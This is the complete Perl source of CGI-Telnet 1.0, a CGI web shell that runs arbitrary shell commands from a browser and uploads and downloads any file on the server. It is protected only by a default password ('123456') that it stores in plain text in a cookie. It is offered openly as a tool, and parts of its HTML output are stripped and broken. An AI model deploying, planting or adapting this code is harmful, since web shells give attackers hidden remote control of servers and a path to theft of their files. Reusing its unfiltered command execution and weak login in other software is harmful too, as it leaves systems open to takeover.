CGI-Telnet Version 1.0

#!/usr/bin/perl #------------------------------------------------------------------------------ # Copyright and Licence #------------------------------------------------------------------------------ # CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server # # Copyright (C) 2001 Rohitab Batra # Permission is granted to use, distribute and modify this script so long # as this copyright notice is left intact. If you make changes to the script # please document them and inform me. If you would like any changes to be made # in this script, you can e-ail me. # # Author: Rohitab Batra # Author e-mail: rohitab@rohitab.com # Author Homepage: http://www.rohitab.com/ # Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html # Product Support: http://www.rohitab.com/support/ # Discussion Forum: http://www.rohitab.com/discuss/ # Mailing List: http://www.rohitab.com/mlist/ #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # Installation #------------------------------------------------------------------------------ # To install this script # # 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on # your server. For most servers, you may not need to modify this. # 2. Change the password in the Configuration section below. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the # Configuration Section below. # 4. Upload the script to a directory on your server which has permissions to # execute CGI scripts. This is usually cgi-bin. Make sure that you upload # the script in ASCII mode. # 5. Change the permission (CHMOD) of the script to 755. # 6. Open the script in your web browser. If you uploaded the script in # cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl # 7. Login using the password that you specified in Step 2. #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # Configuration: You need to change only $Password and $WinNT. The other # values should work fine for most systems. #------------------------------------------------------------------------------ $Password = "123456"; # Change this. You will need to enter this # to login. $WinNT = 0; # You need to change the value of this to 1 if # you're running this script on a Windows NT # machine. If you're running it on Unix, you # can leave the value as it is. $NTCmdSep = "&"; # This character is used to seperate 2 commands # in a command line on Windows NT. $UnixCmdSep = ";"; # This character is used to seperate 2 commands # in a command line on Unix. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed # Don't set this to a very large value. This is # useful for commands that may hang or that # take very long to execute, like "find /". # This is valid only on Unix servers. It is # ignored on NT Servers. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the # browser as soon as it is output, otherwise # it is buffered and send when the command # completes. This is useful for commands like # ping, so that you can see the output as it # is being generated. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !! $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep); $CmdPwd = ($WinNT ? "cd" : "pwd"); $PathSep = ($WinNT ? "\\" : "/"); $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1"); #------------------------------------------------------------------------------ # Reads the input sent by the browser and parses the input variables. It # parses GET, POST and multipart/form-data that is used for uploading files. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}. # Other variables can be accessed using $in{'var'}, where var is the name of # the variable. Note: Most of the code in this function is taken from other CGI # scripts. #------------------------------------------------------------------------------ sub ReadParse { local (*in) = @_ if @_; local ($i, $loc, $key, $val); $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/; if($ENV{'REQUEST_METHOD'} eq "GET") { $in = $ENV{'QUERY_STRING'}; } elsif($ENV{'REQUEST_METHOD'} eq "POST") { binmode(STDIN) if $MultipartFormData & $WinNT; read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); } # handle file upload data if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/) { $Boundary = '--'.$1; # please refer to RFC1867 @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ /\r\n\r\n|\n\n/; $Header = $`; $Body = $'; $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape $in{'filedata'} = $Body; $Header =~ /filename=\"(.+)\"/; $in{'f'} = $1; $in{'f'} =~ s/\"//g; $in{'f'} =~ s/\s//g; # parse trailer for($i=2; $list[$i]; $i++) { $list[$i] =~ s/^.+name=$//; $list[$i] =~ /\"(\w+)\"/; $key = $1; $val = $'; $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} = $val; } } else # standard post data (url encoded, not multipart) { @in = split(/&/, $in); foreach $i (0 .. $#in) { $in[$i] =~ s/\+/ /g; ($key, $val) = split(/=/, $in[$i], 2); $key =~ s/%(..)/pack("c", hex($1))/ge; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} .= "\0" if (defined($in{$key})); $in{$key} .= $val; } } } #------------------------------------------------------------------------------ # Prints the HTML Page Header # Argument 1: Form item name to which focus should be set #------------------------------------------------------------------------------ sub PrintPageHeader { $EncodedCurrentDir = $CurrentDir; $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; print "Content-type: text/html\n\n"; print < CGI-Telnet Version 1.0 $HtmlMetaHeader

#	CGI-Telnet Version 1.0 - Connected to $ServerName
Upload File \| Download File \| Disconnect \| Help

END } #------------------------------------------------------------------------------ # Prints the Login Screen #------------------------------------------------------------------------------ sub PrintLoginScreen { $Message = q$

 _____  _____  _____          _____        _               _
/  __ \|  __ \|_   _|        |_   _|      | |             | |
| /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_
| |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|
| \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_
 \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 1.0
                                         
                      ______             © 2001, Rohitab Batra
                   .-"      "-.
                  /            \
                 |              |
                 |,  .-.  .-.  ,|
                 | )(_o/  \o_)( |
                 |/     /\     \|
       (@_       (_     ^^     _)
  _     ) \_______\__|IIIIII|__/_______________________
 (_)@8@8{}<________|-\IIIIII/-|________________________>
        )_/        \          / 
       (@           `--------`
             W A R N I N G: Private Server

$; #' print < Trying $ServerName...
Connected to $ServerName
Escape character is ^]

$Message
END
}

#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
	print <

login: admin

password:

Login incorrect

END } #------------------------------------------------------------------------------ # Prints the HTML form for logging in #------------------------------------------------------------------------------ sub PrintLoginForm { print < END } #------------------------------------------------------------------------------ # Prints the footer for the HTML Page #------------------------------------------------------------------------------ sub PrintPageFooter { print ""; } #------------------------------------------------------------------------------ # Retreives the values of all cookies. The cookies can be accesses using the # variable $Cookies{''} #------------------------------------------------------------------------------ sub GetCookies { @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'}); foreach $cookie(@httpcookies) { ($id, $val) = split(/=/, $cookie); $Cookies{$id} = $val; } } #------------------------------------------------------------------------------ # Prints the screen when the user logs out #------------------------------------------------------------------------------ sub PrintLogoutScreen { print "

Connection closed by foreign host.

"; } #------------------------------------------------------------------------------ # Logs out the user and allows the user to login again #------------------------------------------------------------------------------ sub PerformLogout { print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie &PrintPageHeader("p"); &PrintLogoutScreen; &PrintLoginScreen; &PrintLoginForm; &PrintPageFooter; } #------------------------------------------------------------------------------ # This function is called to login the user. If the password matches, it # displays a page that allows the user to run commands. If the password doens't # match or if no password is entered, it displays a form that allows the user # to login #------------------------------------------------------------------------------ sub PerformLogin { if($LoginPassword eq $Password) # password matched { print "Set-Cookie: SAVEDPWD=$LoginPassword;\n"; &PrintPageHeader("c"); &PrintCommandLineInputForm; &PrintPageFooter; } else # password didn't match { &PrintPageHeader("p"); &PrintLoginScreen; if($LoginPassword ne "") # some password was entered { &PrintLoginFailedMessage; } &PrintLoginForm; &PrintPageFooter; } } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to enter commands #------------------------------------------------------------------------------ sub PrintCommandLineInputForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print < END } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to download files #------------------------------------------------------------------------------ sub PrintFileDownloadForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print < END } #------------------------------------------------------------------------------ # Prints the HTML form that allows the user to upload files #------------------------------------------------------------------------------ sub PrintFileUploadForm { $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; print < END } #------------------------------------------------------------------------------ # This function is called when the timeout for a command expires. We need to # terminate the script immediately. This function is valid only on Unix. It is # never called when the script is running on NT. #------------------------------------------------------------------------------ sub CommandTimeout { if(!$WinNT) { alarm(0); print <


Command exceeded maximum time of $CommandTimeoutDuration second(s).

Killed it!

END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
		exit;
	}
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
	if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
	{
		# we change the directory internally. The output of the
		# command is not displayed.
		
		$OldDir = $CurrentDir;
		$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
		chop($CurrentDir = `$Command`);
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
		print "$Prompt $RunCommand";
	}
	else # some other command, display the output
	{
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
		print "$Prompt $RunCommand";
		$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
		if(!$WinNT)
		{
			$SIG{'ALRM'} = \&CommandTimeout;
			alarm($CommandTimeoutDuration);
		}
		if($ShowDynamicOutput) # show output as it is generated
		{
			$|=1;
			$Command .= " |";
			open(CommandOutput, $Command);
			while(<CommandOutput>)
			{
				$_ =~ s/(\n|\r\n)$//;
				print "$_\n";
			}
			$|=0;
		}
		else # show output after command completes
		{
			print `$Command`;
		}
		if(!$WinNT)
		{
			alarm(0);
		}
		print "";
	}
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
	local($FileUrl) = @_;
	if(-e $FileUrl) # if the file exists
	{
		# encode the file link so we can send it to the browser
		$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
		$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
		$HtmlMetaHeader = "";
		&PrintPageHeader("c");
		print <
Sending File $TransferFile...

If the download does not start automatically,
Click Here.

END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # file doesn't exist
	{
		&PrintPageHeader("f");
		print "Failed to download $FileUrl: $!";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
	local($SendFile) = @_;
	if(open(SENDFILE, $SendFile)) # file opened for reading
	{
		if($WinNT)
		{
			binmode(SENDFILE);
			binmode(STDOUT);
		}
		$FileSize = (stat($SendFile))[7];
		($Filename = $SendFile) =~  m!([^/^\\]*)$!;
		print "Content-Type: application/x-unknown\n";
		print "Content-Length: $FileSize\n";
		print "Content-Disposition: attachment; filename=$1\n\n";
		print while();
		close(SENDFILE);
	}
	else # failed to open file
	{
		&PrintPageHeader("f");
		print "Failed to download $SendFile: $!";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}


#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
	# get fully qualified path of the file to be downloaded
	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else # path is relative
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") # we have to send the file
	{
		&SendFileToBrowser($TargetFile);
	}
	else # we have to send only the link page
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
	# if no file is specified, print the upload form again
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

	# start the uploading process
	print "Uploading $TransferFile to $CurrentDir...
";

	# get the fullly qualified pathname of the file to be created
	chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

	$TargetFileSize = length($in{'filedata'});
	# if the file exists and we are not supposed to overwrite it
	if(-e $TargetName && $Options ne "overwrite")
	{
		print "Failed: Destination file already exists.
";
	}
	else # file is not present
	{
		if(open(UPLOADFILE, ">$TargetName"))
		{
			binmode(UPLOADFILE) if $WinNT;
			print UPLOADFILE $in{'filedata'};
			close(UPLOADFILE);
			print "Transfered $TargetFileSize Bytes.
";
			print "File Path: $TargetName
";
		}
		else
		{
			print "Failed: $!
";
		}
	}
	print "";
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through  which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
	# if no file is specified, print the download form again
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileDownloadForm;
		&PrintPageFooter;
		return;
	}
	
	# get fully qualified path of the file to be downloaded
	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else # path is relative
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") # we have to send the file
	{
		&SendFileToBrowser($TargetFile);
	}
	else # we have to send only the link page
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) # user needs/has to login
{
	&PerformLogin;
}
elsif($Action eq "command") # user wants to run a command
{
	&ExecuteCommand;
}
elsif($Action eq "upload") # user wants to upload a file
{
	&UploadFile;
}
elsif($Action eq "download") # user wants to download a file
{
	&DownloadFile;
}
elsif($Action eq "logout") # user wants to logout
{
	&PerformLogout;
}